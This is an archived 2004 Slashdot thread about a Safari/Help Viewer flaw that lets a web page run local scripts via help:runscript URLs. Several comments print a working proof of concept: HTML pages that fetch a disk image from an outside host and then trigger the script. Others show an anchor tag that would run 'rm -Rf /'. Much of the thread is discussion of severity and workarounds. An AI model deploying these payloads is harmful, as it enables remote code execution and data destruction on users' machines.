Follow Slashdot stories on Twitter

 


Forgot your password?
Close
typodupeerror
×
OS X Businesses Operating Systems Security Apple

Safari Falls Victim to Remote Code Exploit 197

Posted by pudge from the the-most-important-thing-is-to-tell-people-how-to-use-the-exploit dept.
A user writes, "A new vulnerability has been found in Mac OS X's Safari, which will launch Help.app and run an arbitrary script with a URL like 'help:runscript=...', assuming a known path (which is possible when Safari is set to automount disk images (which is the default)). A nice working demonstration is available on insecure.ws while the incident has been reported on Full-Disclosure."
This discussion has been archived. No new comments can be posted.

Safari Falls Victim to Remote Code Exploit More

Safari Falls Victim to Remote Code Exploit

Comments Filter:

  • Wow (Score:5, Funny)

    by mcgroarty ( 633843 ) <brian@mcgroarty.gmail@com> on Monday May 17, 2004 @01:40PM (#9174914) Homepage
    I've got to hand it to Apple...

    "help:runscript=..."

    No double-decode, unicode obfuscation, or CMD.EXE parms. Even the exploits are user-friendly!

  • That's it.. (Score:5, Funny)

    by Carlos Silva ( 773727 ) <carlos.silva@COL ... m minus caffeine> on Monday May 17, 2004 @01:40PM (#9174915) Journal
    I'm switching to Windows!

  • Is this worth a story? (Score:3, Insightful)

    by 0x0d0a ( 568518 ) on Monday May 17, 2004 @01:43PM (#9174939) Journal
    I'm all for calling Apple out on security violations when they deserve it (especially since there have been some awfully generous and inaccurate security claims about Mac OS X), but if there was a Slashdot story for every exploit against a web browser, we'd be reading nothing else.

    If it was exploitable and used in an *email* client (a la Outlook using the MSIE rendering engine), *then* I could see some serious cause for concern, as the worm potential is severe.

    However, this is ultimately a client-level attack that requires the user to pull down malicious data. It just isn't a big deal.
    • I don't know about you, but I don't always take a look at my status bar before I click on a link. It is kind of nice to know such a exploit exists, because now I will be more careful (until Apple releases a patch). It is rediculous that a url can be used to execute malicious code.

      On a related note, Safari is one of the best browsers I have ever used. I hope Apple releases a fix for this quickly.

      • Re:Is this worth a story? (Score:5, Informative)

        by mcgroarty ( 633843 ) <brian@mcgroarty.gmail@com> on Monday May 17, 2004 @01:57PM (#9175081) Homepage
        "I don't know about you, but I don't always take a look at my status bar before I click on a link."

        That's not really enough. A page can have a redirect to another page, or even have a tiny subframe that loads that "url" to execute a command to wipe out data.

      • Try Camino (Score:3, Informative)

        by Tor ( 2685 )
        http://www.mozilla.org/projects/camino/

        IMHO the best Mac OS X browser out there, even more so than Safari. Faster, per-site cookie policies, per-site popup blocking, ...

        Be sure to get the latest snapshot release (updated daily), as the 0.7 release is getting a bit old.

        Tts look and feel is more consistent with other Mac OS X apps (such as Mail.app) than Safari. (Safari looks more like a Finder window.)

    • Re:Is this worth a story? (Score:5, Insightful)

      by mcgroarty ( 633843 ) <brian@mcgroarty.gmail@com> on Monday May 17, 2004 @01:51PM (#9175022) Homepage
      "It just isn't a big deal"

      One concealed tinyurl link on Slash or an Apple forum, or a tiny frame with a redirect to:

      <a href=help:runscript=/bin/rm%20-Rf%20%2f>
      is enough to run "rm -Rf /". Wiping out all user data with half a line of html isn't a big deal?

      All companies have their own share of browser bugs, but this one's a doozy, so don't play it down. Prudence says you should exercise the utmost caution or use Mozilla until there's a fix.

      • Re:Is this worth a story? (Score:5, Informative)

        by pudge ( 3605 ) * <slashdot.pudge@net> on Monday May 17, 2004 @02:21PM (#9175308) Homepage Journal
        We don't allow help: URLs in Slash. :p

      • Re:Is this worth a story? (Score:5, Informative)

        by mst76 ( 629405 ) on Monday May 17, 2004 @02:53PM (#9175677)
        It's not that simple. From what I understand, you can only launch AppleScripts with a help:runscript URL. But how do you get your script on the user's system in a known location? AppleScripts don't expand the user home directory from ~ or $HOME. The trick is put the script and your other malicious executables on a disk image and to automount that first, since they are mounted in a known location. Contrary to the article summary, Safari does not need to be set to automount: Safari will automount whatever follows a link of the form disk:// regardless of user settings. So to run this effectively you need to set up a webpage the disk image and refresh tags and some javascript and/or frames to obfuscate the URLs.

        • Re:Is this worth a story? (Score:5, Informative)

          by pudge ( 3605 ) * <slashdot.pudge@net> on Monday May 17, 2004 @03:07PM (#9175867) Homepage Journal
          Not that this makes it significantly worse, but it is not just AppleScripts. Any OSA script will do, assuming the user has the OSA language installed. Since currently only AppleScript is installed by default ...

          But just to prove the point, I did this, using the OSAShell language (which allows writing OSA scripts using a basic shell syntax):
          $ cd Desktop/
          $ cat > foo.txt
          osascript -e 'tell app "Finder" to activate'
          ^C
          $ osacompile -l OSAShell -o foo.shell foo.txt
          $ osascript foo.shell # test script
          And now that I know it works, I go to my current browser, Camino, and try:
          help:runscript=../../../Users/pudge/Desktop/foo.sh ell
          Of course, it's a silly example, but I just wanted to make sure it wasn't only AppleScript, because that'd be just weird!

    • Yes, it probably is (Score:5, Insightful)

      by Tor ( 2685 ) on Monday May 17, 2004 @01:54PM (#9175053) Homepage
      I get the impression (only from the /. blurb so far) that this hole is, by orders of magnitude, more serious than anything reported for Mac OS X previously.

      Most "vulnerabilites" previously reported for Mac OS X have been largely theoretical, obscure, and hardly any real threat (at least, when compared to the pretty high threshold of threat before anyting is considered a "flaw" in the Windows world).

      Don't misunderstand, more serious stuff than this is pretty much standard fare for Windows (and sometimes on UNIX/Linux to, cf. "wu-ftpd", "bind", and "sendmail") - but for the Mac OS X platform, a flaw as "exploitable" as this is pretty unique.

      'Course, if will probably be taken care of within a few days via "software update", if not already.

      -tor

      • Re:Yes, it probably is (Score:2, Insightful)

        by log0n ( 18224 )
        This is pretty much the same thing. There have to be 1, 2, 3, etc steps that all have to work, or you can't get the desired result. It's not a reproducable "bug". IMO, this is a kind of 'social engineering' stunt for OSX software (it takes advantage of a mindset more than actually breaking something in OSX).

        $.02
      • I get the impression (only from the /. blurb so far) that this hole is, by orders of magnitude, more serious than anything reported for Mac OS X previously.

        There have been many, many, many holes that have come out against web browsers that allow local access with the level of access of the client given a malicious page. It was a bit worse during the heady days of the "web browser wars" when features were coming out every day, but it's certainly nothing particularly unheard of to have an attack against a

        • Re:Yes, it probably is (Score:3, Informative)

          by Tor ( 2685 )


          Don't misunderstand, more serious stuff than this is pretty much standard fare for Windows (and sometimes on UNIX/Linux to, cf. "wu-ftpd", "bind", and "sendmail") - but for the Mac OS X platform, a flaw as "exploitable" as this is pretty unique.

          Err -- OS X isn't going to be better off than UNIX/Linux, as it's open to almost all attacks that those platforms are. If FreeBSD can get nailed via sendmail, so can OS X.

          The difference is in services enabled by default. No TCP/IP services are enabled by defaul

      • Re:Yes, it probably is (Score:5, Informative)

        by danamania ( 540950 ) on Monday May 17, 2004 @07:33PM (#9178542)
        I get the impression (only from the /. blurb so far) that this hole is, by orders of magnitude, more serious than anything reported for Mac OS X previously.

        There was one equally as bad, almost 18 months ago. I think it was August 2002.

        a telnet:// URL could be used to do the same thing - with a pipe in the url, telnet could be run and piped out to another command that did anything an attacker wanted.

        The good news that time was that a security update was released 9 hours after the discoverer (in japan) reported it to Apple.

        Bad bug, quick fix. I hope the same applies in this case.
        • > Bad bug, quick fix. I hope the same applies in this case.

          Now I look at it closer Apple were supposedly notified in February, and this was publicly written up 10th of this month. 8 days ago.

          Well that sucks.

    • Re:Is this worth a story? (Score:5, Informative)

      by edalytical ( 671270 ) on Monday May 17, 2004 @02:30PM (#9175387)
      Oh, come on man. This is a big deal, and the user doesn't have to do anything special -- just visit a web page -- after that it is all automatic.

      The prof of concept link in the article was very simple:

      The linked file 0x04_test.html:
      <html>
      <head><title>Safari runscript remote execution: Proof of concept</title></head>
      <frameset cols="1%, 99%">
      <frame src="0x04_get.html">
      <frame src="0x04_exec.html">
      </frameset>
      </html>

      0x04_get.html:
      <html>
      <head>
      <meta HTTP-EQUIV="refresh" content="0; URL=http://membres.lycos.fr/manzflash/0x04_script. dmg">
      </head>
      </html>

      0x04_exec.html:
      <html>
      <head>
      <meta HTTP-EQUIV="refresh" content="10; URL=help:runscript=MacHelp.help/Contents/Resources /English.lproj/shrd/OpnApp.scpt string='Volumes:0x04_script:0x04_script.term'">
      </head>
      <body>Please wait for the disk image to be downloaded and mounted, it will take a few seconds.
      <br>The script will execute automatically afterwards.
      <br><br><pre>If your line is too slow and the dmg take too much time to download, reload the page when it is done, as this cannot be checked.
      </pre></body>
      </html>

      Basically the 0x04_test.html file retrieves two pages, the first 0x04_get.html automatically downloads and mounts a disk image containing one file which contains the payload. The other file 0x04_exec.html uses your browser and the help system to automatically execute the script in the disk image.

      Of course the payload in the proof of concept is harmless although I only glanced at it and had not had time to study it. It appears to place a text file in your home directory and echo the text:

      "You have been compromised. No harm have been done. Contents of this script can be found in 0x04_script.term on your desktop. You can delete the file owned.txt in your home directory. It was a remote code execution example by http://insecure.ws" &gt; owned.txt ; open owned.txt

      Now exactly how this is not a big deal only you sir can know. But I for one am not taking this lightly as no one should -- especially Apple.

      All html source courtesy of curl.
      • I especially like this part:

        "If your line is too slow and the dmg take too much time to download, reload the page when it is done, as this cannot be checked."

        Uh, we were trying to erase your hard drive, but weren't able to. Would you mind reloading the browser page for us? Mm, thanks!

    • "If it was exploitable and used in an *email* client (a la Outlook using the MSIE rendering engine), *then* I could see some serious cause for concern, as the worm potential is severe."

      Actually, Outlook exploits aren't posted because of severity, it's because it's "further proof that Microsoft is completely incompetent, doesn't care, and everybody's karma is a little low anyway."

      Frankly, it's nice to hear that other platforms have their issues, too. Slashdot put me into a false sense of security using
      • Actually, Outlook exploits aren't posted because of severity, it's because it's "further proof that Microsoft is completely incompetent, doesn't care, and everybody's karma is a little low anyway."

        I'm not saying that that isn't a factor, but the damage a worm can cause (and that worms *have* caused in the past) are simply much more widespread than a webbrowser exploit.

        I built one for my company's website. 2 weeks later it was rooted.

        You shoulda seen Linux a couple years ago, when everyone shipped it w

    • Simple fix. (Score:3, Informative)

      by narratorDan ( 137402 )
      The default settings for the DiskImages.framework is located here: /System/Library/PrivateFrameworks/DiskImages.fram e work/Versions/A/Resources/defaults.plist

      One can change an interesting setting called "force-idme" from the standard "no" to "yes" and the DiskImages.framework will treat the diskimage as if it was an "internet-enabled disk image." What this means is that it will mount the diskimage, copy it to the current directory as a folder then un-mount and then moves the disk image to the trash. Ther

  • Good days ahead (Score:5, Funny)

    by vijaya_chandra ( 618284 ) on Monday May 17, 2004 @01:44PM (#9174950)
    First signs that apple's really in competition with Microsoft

  • Um, what privilidges does it run at? (Score:5, Insightful)

    by Llywelyn ( 531070 ) on Monday May 17, 2004 @01:47PM (#9174977) Homepage

    From the bulletin:
    ---------------
    This can potentially wipe the entire hard-disk (or large parts of it),
    if a hacker runs a script with "rm -rf /" included.
    ---------------

    Unless this has a built-in privilege escalation, I don't see how this is true. If it just runs as the user (which it appears to) then you could erase the users information that way, but not the disk.

    • Re:Um, what privilidges does it run at? (Score:5, Insightful)

      by Per Wigren ( 5315 ) on Monday May 17, 2004 @01:57PM (#9175077) Homepage
      If it just runs as the user (which it appears to) then you could erase the users information that way, but not the disk.

      Oh, so it will just erase all of my 100s of hours of work but not the reinstallable OS? What a relief!
      • Oh, so it will just erase all of my 100s of hours of work but not the reinstallable OS?

        Nor any other user's work. In fact, if you make a user just for possibly unsafe stuff you're pretty well protected. And with fast user switching it's a breeze.

        • [I]f you make a user just for possibly unsafe stuff you're pretty well protected.

          Indeed. I've done just that. I have to do a bunch of web testing as part of my job. One of the useful things about my PowerBook is that I have ... let's see ... yup, 8 different browsers now. And I often have to test with javascript turned on. Nobody with a grain of sense does that in an account that contains valuable data. We've had several demos of why not here on /. Remember "Hey everybody, I'm looking at gay porno!
        • And with fast user switching it's a breeze.

          As long as you don't want to do something rare and uncommon like, say, copy & paste between your "unsafe stuff" and anything else...

      • Oh, so it will just erase all of my 100s of hours of work but not the reinstallable OS? What a relief!

        No one should never do 100s of hours of work between backups. If someone does it indicates either that they really don't care if they lose it or that they're stupid.

        • No one should never do 100s of hours of work between backups. If someone does it indicates either that they really don't care if they lose it or that they're stupid.

          So why bother with this security stuff at all, then?
        • I do an automated backup of my OS X home directory every night to a Firewire disk that is mounted as /Volumes/BakDisk.
          So if the script does
          rm -rf /
          Won't it delete my backup, too?

          I think so, but I'm not going to test it and find out.
          I thought backing up to a HDD was supposed to be a better idea than using those unreliable CD-R/DVD-R discs. Now I'm not so sure. (I guess I'd better get a tape drive?)

    • Re:Um, what privilidges does it run at? (Score:4, Insightful)

      by mst76 ( 629405 ) on Monday May 17, 2004 @02:12PM (#9175204)
      But the user's information is the most important part of a personal computer. On a corporate Unix system with many users, privilege separation is great: if one user messes up, others won't notice a thing. For home users, an OS reinstallation is not too problematic (especially MacOS). But the typical home user does not backup every night. It's their personal information that matters most. I think the most prudent thing to do for a home PC is to make a separate low-privilege account for all internet activities. On Windows, start the browser and mail with runas, on Unix use su.
    • An admin user has privileges to delete files other than those merely in his HOME. And some stupid users (including one of my friends :-) have changed perms to give themselves ownership of every file, in which case this would wipe every file. So the statement is accurate.

      • Re:Um, what privilidges does it run at? (Score:5, Informative)

        by Devil's Avocado ( 73913 ) on Monday May 17, 2004 @03:01PM (#9175792)
        """
        An admin user has privileges to delete files other than those merely in his HOME. And some stupid users (including one of my friends :-) have changed perms to give themselves ownership of every file, in which case this would wipe every file. So the statement is accurate.
        """

        That's a bit like arguing "turning a computer on can cause it to explode" is an accurate statement because the user may have put plastic explosives in the case and wired them to the power switch.

        On any reasonably well maintained OS X system executing "rm -rf /" as a normal (or even Admin) user cannot cause the entire hard drive to be deleted. This does not detract (much) from the seriousness of this exploit, but let's not get carried away with the alarmism.

        Also, if your friend's system is still running I doubt he has changed the permissions of *every* file unless he's a very talented programmer. OS X won't load kernel extensions unless they're owned by root:wheel, and other bits of system software have similar permissions restrictions. If he's logging in as root, well, that's another issue entirely...
        • On any reasonably well maintained OS X system

          That's a bit like saying "email viruses aren't a problem because they only spread when users do stupid things." :-)

          executing "rm -rf /" as a normal (or even Admin) user cannot cause the entire hard drive to be deleted.

          It's a remote possibility, not not an impossible one. It is also possible to run Help Viewer as root.

          This does not detract (much) from the seriousness of this exploit, but let's not get carried away with the alarmism.

          Maybe it should have

      • Re:Um, what privilidges does it run at? (Score:4, Interesting)

        by Llywelyn ( 531070 ) on Monday May 17, 2004 @03:39PM (#9176242) Homepage
        You would have to specifically modify the system and, if you know enough to do that, then you get what is coming to you for modifying it.

        Seriously, this is kind of like saying "well, this exploit could erase someone's entire hard drive on a linux system if they were running their web browser as root."

        Factually true but completely irrelevant.

        For the default install this is a problem, but try not to blow it out of proportion by inventing scenarios to make it more serious.
    • Unless this has a built-in privilege escalation, I don't see how this is true. If it just runs as the user (which it appears to) then you could erase the users information that way, but not the disk.

      Show me one Mac owner that doesn't log on using an administrator class account (default, no password, auto logon).

      I have never, ever, known any Mac owner (myself included) to create a "Standard" user account for their own personal use.

      This exploit could destroy a lot of work, and don't give me the "you're a
      • Well, i run as admin, with a password, without auto login, but i make everyone else run as a standard user. I generally do this because i've considered the mac less likely to terribly infect itself (in windows i run myself as a restricted user, only loggin on as Admin to do installs). but really, everyone should back shit up. this doesn't mean they're getting what they deserve if they lose all their work - its just good forethought. drive failure is a very real problem, even if exploits aren't likely to wi
      • Remember though, an Admin account on Mac OS X is not root. Basically, an Admin account is someone who can sudo/su to root, but it is not itself not root. In order for a script that wanted rm -rf / to work, it would have to ask the user to enter their password (which admittedly, many would probably do).
      • Well, I thought I'd set up my "normal" account on my PowerBook as a conventional unprivileged user, to avoid any such problems. Imagine my horror when I ran the following in a Terminal window:

        : id
        uid=501(jc) gid=20(staff) groups=20(staff), 80(admin)
        : sudo csh
        # id
        uid=0(root) gid=0(wheel) groups=0(wheel), 1(daemon), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest), 80(admin)
        #

        Note that the "sudo" command didn't even ask me for a password.

        I've dug around in TFM to try to understand the OSX sec

        • Hmm, sudo should only not ask for your password if you've run it (and authenticated) in the last 5 minutes...
        • [Above all, keep in mind that I'm as far from a traditional Unix geek as one can be; I'm an old-school graphic artist mac geek from back in the days of the 1-bit steam-driven interface, so forgive me if I've gone astray.]

          With that said, all I can figure is that you must have entered your root password for a prior sudo usage within the preceding five minutes (or whatever the default time value is). My account is set up as an admin (as opposed to actual root) but I still have to 'sudo' to do any real damage.
        • The default behaviour for sudo is to ask you for a password and remember that for 5 minutes. You can override it by typing

          sudo -K

          Which instructs it to "forget" your elevated privs.

          Try sudo-K then try again and see what happens.

          One concern is that by default, OSX creates an admin user with no password. So in other words... try this:

          echo |sudo -S ls

          Scary eh?
          • echo |sudo -S ls

            Yeah, and I also tried "sudo | id", which told me it was run by root.

            And, contrary to the comments by others, I haven't given sudo a password within the past five minutes. I haven't given sudo a password any time today.

            This implies that anything that can trick my machine into running code from the outside under my permission can use sudo without a password to get root permission.

            So much for OSX security.

            Funny thing is: I know that sudo on my PowerBook has asked me for a password some

      • Show me one Mac owner that doesn't log on using an administrator class account (default, no password, auto logon).

        Me.

        And I recommend it to anyone else running Panther, too.

        I do my work as an ordinary user, without auto-login and with a password. I have an administrator account that I use for software installs and system work. It also has a password (and no auto-login).

        Running as an ordinary user has saved me from loosing data to a few stupid mistakes (and one buggy program I was working on).

    • Unless this has a built-in privilege escalation, I don't see how this is true. If it just runs as the user (which it appears to) then you could erase the users information that way, but not the disk

      So, basically, it can't wipe out those parts of the disk that are trivial to restore from the system install CDs, and instead only gets the parts that are actually important to the user? How comforting. :-)

    • Unless this has a built-in privilege escalation, I don't see how this is true. If it just runs as the user (which it appears to) then you could erase the users information that way, but not the disk.

      True, it couldn't erase the disk. But it could send four million spam emails and open a backdoor.

  • Ummmmmm (Score:3, Interesting)

    by metalhed77 ( 250273 ) <`andrewvc' `at' `gmail.com'> on Monday May 17, 2004 @01:49PM (#9174993) Homepage
    can someone please explain how this exploit made it into the browser. This seems so blindingly obvious. In fact, this seems like intended behavior.

    • Re:Ummmmmm (Score:3, Insightful)

      by I_Love_Pocky! ( 751171 )
      I would guess the team (or more possibly even the individual) working on the "help" system probably didn't have security as their top priority. Infact, I would be suprised if they even thought about it.

    • possible scenario (Score:4, Insightful)

      by Anonymous Coward on Monday May 17, 2004 @02:25PM (#9175343)
      Help-team: let's base our help app on html, which is the de-facto standard markup language now. Oh, and let's give it the ability to launch scripts, so we can give live demo's in the help files.

      Browser-team: of course we're not going to let scripts with full user-privileges run from within the browser by default, that's idiotic. Who do you think we are, Microsoft? Hey, the help app is based on html right? Let's stick a help: protocol in the URL handler, that would be convenient.

  • Been known since February (Score:5, Informative)

    by p0ppe ( 246551 ) on Monday May 17, 2004 @01:52PM (#9175037) Homepage
    According to a forum post on MacNN [macnn.com], this has been known since February...

  • Workaround (Score:5, Insightful)

    by fsck! ( 98098 ) <.moc.liamg. .ta. .redle.bocaj.> on Monday May 17, 2004 @02:02PM (#9175125) Homepage
    rm -rf /Applications/Help.app
    This awful help tool is as bad as they come. It's clumsy, slow, and most of the help appears to be online anyway. Apple should just make Safari the help browser to begin with. I haven't examined this much, but it looks like thelp documentation is XML or HTML anyway.

    • Re:Workaround (Score:4, Informative)

      by klui ( 457783 ) on Monday May 17, 2004 @02:55PM (#9175706)
      It's not there under Panther. Issue

      sudo chmod 000 /System/Library/CoreServices/Help\ Viewer.app

      instead. Of course, you should be using OS X as a non-root user. Root will be able to run the help subsystem without any trouble.

    • Hmms, I don't seem to have "Help.app" in /Applications, but I do have (and removed) "/System/Library/CoreServices/Help\ Viewer.app" -- in Panther. Is it in /Applications in Jaguar? I don't recall...

      In any case, invoking the (largely useless IMO) "help" in any app now simply does nothing.

      • Yeah, Help Viewer just blows, and it always has. I can use Google about 10x faster than Help Viewer, and with fewer crashes.
    • Apparently, i really haven't examined this much. Thanks to those who pointed out the correct path to the help browser.

      (The iBook is at home and I'm at work, where the only apples are in the breakroom.)

  • Simple Temporary Workaround (Score:5, Informative)

    by TomSawyer ( 100674 ) on Monday May 17, 2004 @02:09PM (#9175185) Homepage
    I downloaded MisFox 1.2.1 [versiontracker.com] and changed the Help Protocol Helper to Chess. For good measure I unchecked "Open 'safe' files after downloading" in the general preferences of Safari.

  • HA HA HA (Score:5, Funny)

    by zulux ( 112259 ) on Monday May 17, 2004 @02:10PM (#9175187) Homepage Journal
    I SO GLAD MY TRS-80 COCO ISENT
    VULNERABLE TO THIS. ALL YOU PE
    OPLE WITH FANCY GUI COMPUTERS
    WILL REGRET IT SOME DAY.

    OK
    ?
    OK
    ?

    (Lameness filter encountered. Post aborted!
    Reason: Don't use so many caps. It's like YELLING.)

  • All OS X browsers affected? (Score:5, Interesting)

    by tetsuotheironman ( 321438 ) on Monday May 17, 2004 @02:23PM (#9175330)
    this exploit also works in Camino as far as I can tell (although I didn't have it set to automount images) using recenet nightly build. I also tried it in IE and it was able to open Help.app without problems..

    • this exploit also works in Camino as far as I can tell (although I didn't have it set to automount images) using recenet nightly build.

      It semi-works in OmniWeb 4.5. The download happens, the help tries to open the script, but the downloaded file is not automounted so the script is not there. So OmniWeb is safe simply because it doesn't automount dmg files.

  • Doesn't Work in 10.2.x (Score:5, Interesting)

    by greenhide ( 597777 ) <jordanslashdot.cvilleweekly@com> on Monday May 17, 2004 @02:37PM (#9175457)
    I have not been able to recreate this exploit in OS X 10.2.8.

    Apparently, only versions 10.3.x are affected.
    • Possibly because the 10.2 help application used its own (crappy) HTML renderer rather than WebKit, so the help: protocol doesn't exist.

      It's a bit of a design flaw, really. Why is the help: protocol registered globally at all? There really isn't a good reason for doing that, I don't think (unless [NSURLProtocol registerClass:] registers globally. In which case, that's a HUGE design flaw). The help: protocol exists to allow the help application to run local scripts: this flaw is there by design!
    • The example exploit worked on my OS X 10.2.8 box.
    • Works "fine" on my PowerBook running 10.2.8.

  • Other browsers also affected (Score:5, Informative)

    by swotl ( 24969 ) <swotlNO@SPAMhotslash.com> on Monday May 17, 2004 @02:45PM (#9175575)
    The vulnerability was first discovered in Opera [idefense.com], and was later found to also exist in Konqueror [konqueror.org] of KDE fame. Since Safari is based on the Konqueror code, that's probably where it came from.

  • OS X Mail also (Score:5, Interesting)

    by stang7423 ( 601640 ) on Monday May 17, 2004 @03:19PM (#9176028)

    I wonder if this is possible from OS X mail also. Mail uses webcore to render html and probably shares some settings. The downloading of the dmg is provoked by a meta tag, so unless mail strips meta info from e-mail then this could affect mail as well. That eventuality could potentially be a much larger issue than the current method of execution. Especially since mail will render html and images unless the mail is marked junk.

  • Possible workaround ... (Score:4, Insightful)

    by Durandal64 ( 658649 ) on Monday May 17, 2004 @05:04PM (#9177168)
    I'm too lazy to try and implement this, but what you could do is write an AppleScript to receive all calls to the help protocol. So whenever there's a help: URL, your little AppleScript goes up, notifying you that something is trying to open a help: URL, which is a security vulnerability. Then either allow or deny. If the user allows it, pass the URL along to Help Viewer.app. Then just use something like MoreInternet to point the help: protocol to that script.

    Like I said though, I'm too lazy to try it right now.

  • OmniWeb and other browsers too (Score:3, Informative)

    by chigaze ( 98602 ) on Monday May 17, 2004 @05:39PM (#9177496)
    The proof of concept also runs from the OmniWeb 5 Beta and Internet Explorer 5.2.

    It could also run from FireFox although because FireFox checks to see if you really want to download an executable, help tries to run the script before it's actually there.

    It fails in Opera with the error "The address type is unknown or unsupported."

    Those are all the browsers I have to check on.

  • This is NOT Limited to DMGs or Safari!!! (Score:4, Informative)

    by WiseWeasel ( 92224 ) on Monday May 17, 2004 @09:56PM (#9179494)
    This is much more serious than the articles let on. This security vulnerability in MacOS X affects all web browsers. There's a non-malicious example of the seriousness of the problem here:
    http://bronosky.com/pub/AppleScript.htm
    Th at just runs a harmless script (/usr/bin/du; exit) which scrolls a bunch of text and looks scary, but it could easily have been a script to wipe your home directory, and you could have had some serious data loss (i.e. rm -rf ~/).

    To fix the vulnerability, simply navigate to your MaOS X drive, go to the Library folder (not the one in your home folder, but the one in the root directory of your HD), and then to the Documentation folder, and rename the folder "Help" to something else (located at /Library/Documentation/Help). This will prevent people from linking to the script runner. This vulnerability is very serious, and doesn't even have to involve downloading a DMG. Once the "Help" folder is renamed, you won't be able to use the Mac Help center anymore, but at least you will not be at risk of having your data wiped by clicking on a link, or visiting a malicious site. DO THIS NOW!!!!!
    • That's the MacOS X drive, not MaOS. . . but I think I was understood. This fix only affects the general Mac help, application help is not affected, and will still work. Also, you might want to rename the Help directory back to "Help" before you apply Apple's eventual patch for this.

    • As other posts here have suggested, you can also fix the Help Viewer problem in Safari using MisFox [clauss-net.de], and in doing this you won't stop Help from working with local files and apps. I've confirmed this using the example you give at bronosky.com - it ran du the first visit (from a sacrificial account), and then I used MisFox to set textedit as the help: handler. I visited the page again and it launched textedit, which displayed nothing, and the du script had no way of launching.

      Just an alternative for people

  • I'd like to announce the unveiling of my new website, http://www.iwilltotallyhax0ryourmac.com/evil_page. htm

  • It occurs to me that this problem could be broader than is being portrayed.

    Consider: the fundamental issue here is that an OSX web browser -- Safari in the original reports, but apparently also Mozilla etc -- is acting as a broker for any URI that the user may come across, delegating the request out to external handler programs. Whether those external programs handle their URIs safely may be an open question.

    The problem isn't really that Safari or Help is broken, but that the interaction between them, arising from the URI handling mechanism on OSX, is leading to Unintended Consequences.

    OSX can handle many different URI namespaces, some of which seem to be used nowhere other than OSX. I'm having a hard time finding an exhaustive list of the URI protocols that OSX supports, but a partial list [macosxhints.com] includes, in no particular order:

    http://
    https://
    ftp://
    mailto://
    ssh://
    telnet://
    aim://
    afp://
    nfs://
    smb://
    sherlock://
    itms://
    daap://
    help://

    So far, I can think of published vulnerabilities in the telnet:// and now help:// protocols, but is that the end of it, or is the whole framework vulnerable to these sorts of attacks?

    I have a hunch that we're just seeing the thin edge of the wedge...

  • Help Viewerrrrrrrrr (Score:3, Insightful)

    by TitanBL ( 637189 ) <brandon@NOSpAm.titan-internet.com> on Tuesday May 18, 2004 @10:51AM (#9183533)
    Just one more reason for Apple to rethink the whole 'Help Viewer' implementation. I don't know about you, but I despise that sluggish POS (I hate that spinning beachball). I do not even bother using it. It is faster to find 'help' via a google search. It is without question the LAMEST aspect of OS X.

Slashdot Top Deals

BLISS is ignorance.

Close